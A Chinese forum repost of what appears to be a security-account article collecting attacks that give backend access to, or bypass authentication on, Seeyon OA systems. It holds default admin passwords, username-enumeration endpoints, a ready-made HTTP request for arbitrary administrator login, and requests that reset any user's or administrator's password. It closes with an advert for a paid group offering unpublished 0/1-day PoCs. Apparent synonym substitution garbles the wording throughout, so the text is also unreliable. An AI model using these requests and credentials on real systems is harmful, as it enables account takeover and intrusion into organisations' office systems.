[毛病合集]致远获取背景权限及权限绕过毛病大合集

金歌  金牌会员 | 2024-10-9 08:20:15 | 显示全部楼层 | 阅读模式
打印 上一主题 下一主题

主题 919|帖子 919|积分 2757

如果觉得该文章有资助的,贫苦师傅们可以搜索下微信公众号:良月安全。点个关注,感谢师傅。
同时为了感谢师傅们的支持,订阅号的这篇文章下也有星球优惠券,先到先得!!

免责声明

本公众号所发布的全部内容,包括但不限于信息、工具、项目以及文章,均旨在提供学习与研究之用。全部工具安全性自测。如因此产生的一切不良后果与文章作者和本公众号无关。如有涉及公司与个人敏感信息,侵权烦请告知,我们会立即删除并致歉。

媒介

致远作为hw常见OA之一,自己存在众多毛病,但大多毛病都只存在于背景。以是这里就分享一下如何获取背景权限或者权限绕过常见的几种方法。

默认口令

audit-admin/seeyon123456
admin1/123456
group-admin/123456
system/system

用户名罗列

  1. /seeyon/rest/password/retrieve/send/{username}
  2. /seeyon/rest/password/retrieve/getEmailByLoginName/{username}
  3. /seeyon/personalBind.do?method=getBindTypeByLoginName&loginName={username}
复制代码
这几个接口存在用户名罗列,可以配合下面爆破或者需要知道用户名的密码更改的毛病利用。

thirdpartyController任意管理员用户登录

这个只有在部门老一点的致远中才可以碰到。
  1. GET /seeyon/thirdpartyController.do?method=access&enc=TT5uZnR0YmhmL21qb2wvY2N0L3BxZm8nTj4uODM4NDE0MzEyNDM0NTg1OTI3OSdVPjI3OTM2MjU4MjQ4ODY= HTTP/1.1
  2. Host:
  3. Upgrade-Insecure-Requests: 1
  4. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
  5. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
  6. Accept-Encoding: gzip, deflate
  7. Accept-Language: zh-CN,zh;q=0.9
  8. Connection: close
复制代码

可以在响应包中得到一个JSESSIONID,在携带JSESSIONID 访问/seeyon/online.do接口进行验证。
  1. GET /seeyon/online.do?method=showOnlineUser HTTP/1.1
  2. Host:
  3. Upgrade-Insecure-Requests: 1
  4. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
  5. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
  6. Accept-Encoding: gzip, deflate
  7. Accept-Language: zh-CN,zh;q=0.9
  8. Cookie: JSESSIONID=获取到的cookie
  9. Connection: close
复制代码

具体原理不重复分析,怕文章太长。文章参考:致远OA A8-V5 任意用户登录毛病分析 | Fan的小酒馆 (fanygit.github.io)
需要自己更改payload的话用致远中LightWeightEncoder.decodeString这个方法加密即可。



ucpcLogin审计管理员登录

这个是我目前常用的获取背景权限的方法之一,全版本都可以尝试。
接口利用审计管理员默认用户密码登录(audit-admin/seeyon123456),登录乐成后可以获取正当cookie(也是返回包中的set-cookie字段)
  1. POST /seeyon/rest/authentication/ucpcLogin HTTP/1.1
  2. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
  3. Host:
  4. Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
  5. Connection: close
  6. Content-Type: application/x-www-form-urlencoded
  7. Content-Length: 54
  8. login_username=audit-admin&login_password=seeyon123456
复制代码

接口本质上好像就是一个登录接口,如果默认账号密码失败的的话,可能可以利用上面用户名罗列爆破用户名,这个接口这里爆破密码。

rest接口密码重置

可以更改任意管理员的密码。
发送如下哀求,重置密码为share.do
  1. PUT /seeyon/rest/orgMember/-7273032013234748168/password/share.do HTTP/1.1
  2. Host: 192.168.37.138:8886
  3. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
  4. Accept: */*
  5. Accept-Encoding: gzip, deflate, br
  6. Accept-Language: zh-CN,zh;q=0.9
  7. Cookie: JSESSIONID=1E4AA17811924EA74C61F1DC77AD9505; loginPageURL=
  8. If-None-Match: W/"950464-1696145816972"
  9. If-Modified-Since: Sun, 01 Oct 2023 07:36:56 GMT
  10. Connection: close
复制代码

具体原理移步至:致远OA rest接口重置密码毛病分析 - 先知社区 (aliyun.com)

致远前台任意用户密码修改

需要知道用户名,用户名可以通过上面的接口爆破。
  1. /seeyon/personalBind.do?method=retrievePassword
复制代码

  1. /seeyon/personalBind.do?method=sendVerificationCodeToBindNum&type=validate&origin=zx
复制代码

修改密码为1qaz@WSX
  1. /seeyon/individualManager.do?method=resetPassword&nowpwd=1qaz@WSX
复制代码



resetPassword接口密码重置

用户名可通过上面罗列接口罗列。
  1. POST /seeyon/rest/phoneLogin/phoneCode/resetPassword HTTP/1.1
  2. Host: 127.0.0.1
  3. User-Agent: Go-http-client/1.1
  4. Content-Type: application/json
  5. Accept-Encoding: gzip, deflate
  6. Content-Length: 24
  7. {"loginName":"admin","password":"1qaz@WSX12312123"}
复制代码

各个版本权限绕过

这一少部门留在星球,比如说致远的古早版本可以通过访问可匿名访问目录,再通过../的方法穿越,或者通过;.js访问静态文件的方式绕过。7.x及8.x都有对应的绕过缺陷。

关于星球

星球里有团队内部POC分享。星球定期更新安全内容,包括:内部毛病库情报分享(包括部门未公开0/1day)、poc利用工具及内部最新研究结果。圈子目前价格为89元(交个朋侪),后续人员加入数量多的话会考虑涨价(先到先得!!)。感谢师傅们的支持!!
可能有之前关注我们公众号的师傅会疑问,为什么之前是59元,现在是89元了。因为我们的星球满50人了,决定涨一次价格。在涨价后我们也会发出一轮优惠券,还在观望的师傅也可以先辈来观光一轮,优惠券截止日期为2024年8月2日,这里再次感谢师傅们的支持。

以下有10元优惠券20张及20元优惠券10张,先到先得。










免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

金歌

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表